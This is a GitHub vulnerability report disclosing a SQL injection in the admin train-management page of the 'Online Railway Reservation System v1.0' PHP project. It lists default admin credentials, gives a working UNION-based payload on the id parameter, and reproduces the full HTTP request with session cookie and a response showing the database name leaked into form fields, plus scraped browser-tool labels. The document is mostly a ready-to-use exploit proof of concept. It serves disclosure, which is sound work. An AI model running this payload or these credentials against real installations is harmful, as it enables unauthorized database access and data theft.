

main

...

bug\_report / vendors / oretnom23 / online-railway-reservation-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

29 lines (20 sloc) | 1.21 KB

...

# Online Railway Reservation System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html>

Vulnerability File: /orrs/admin/trains/manage\_train.php?id=

Vulnerability location: /orrs/admin/trains/manage\_train.php?id=, id

Current database name: orrs\_db,length is 7

[+] Payload: /orrs/admin/trains/manage\_train.php?

id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

```
GET /orrs/admin/trains/manage_train.php?id=-1%27%20union%20select%201,database(),3,4
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4

Connection: close

GET /orrs/admin/trains/manage\_train.php?id=-1%27%20union%20select%201, database(), 3, 4, 5, 6, 7, 8--+ HTTP/1.1  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Cookie: PHPSESSID=hea24clorqs9kplqalqihp0ik4  
Connection: close

Access-Control-Allow-Origin: \*  
Content-Length: 2958  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
<div class="container-fluid">  
 <form action="" id="train-form">  
 <input type="hidden" name="id" value="1">  
 <div class="form-group">  
 <label for="code" class="control-label">Train #</label>  
 <input type="text" pattern="[a-zA-Z0-9\_-]+" name="code" id="code" class="form-control form-control-border" placeholder="Enter Unique Code" value="orrs\_db" required>  
 <small class="muted"><em>Spaces and special characters except (-\_) are not allowed in this field.</em></small>  
 </div>  
 <div class="form-group">  
 <label for="name" class="control-label">Name</label>  
 <input type="text" name="name" id="name" class="form-control form-control-border" placeholder="Enter train Name" value="3" required>  
 </div>  
 <div class="form-group">  
 <label for="first\_class\_capacity" class="control-label">First Class Seat Capacity</label>  
 <input type="number" name="first\_class\_capacity" id="first\_class\_capacity" class="form-control form-control-border text-right" value="4" required>  
 </div>  
 </form>  
</div>

INI SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRY

Load URL

Split URL

Execute

http://192.168.1.19/orrs/admin/trains/manage\_train.php?id=-1' union select 1,database(),3,4,5,6,7,8--+

☐ Post data ☐ Referrer ☒ 0xHEX ☐ %URL ☐ BASE64

Insert string to replace

Train # orrs\_db Spaces and special characters except (-\_) are not allowed in this field.

Name 3

First Class Seat Capacity 4

Economy Seat Capacity 5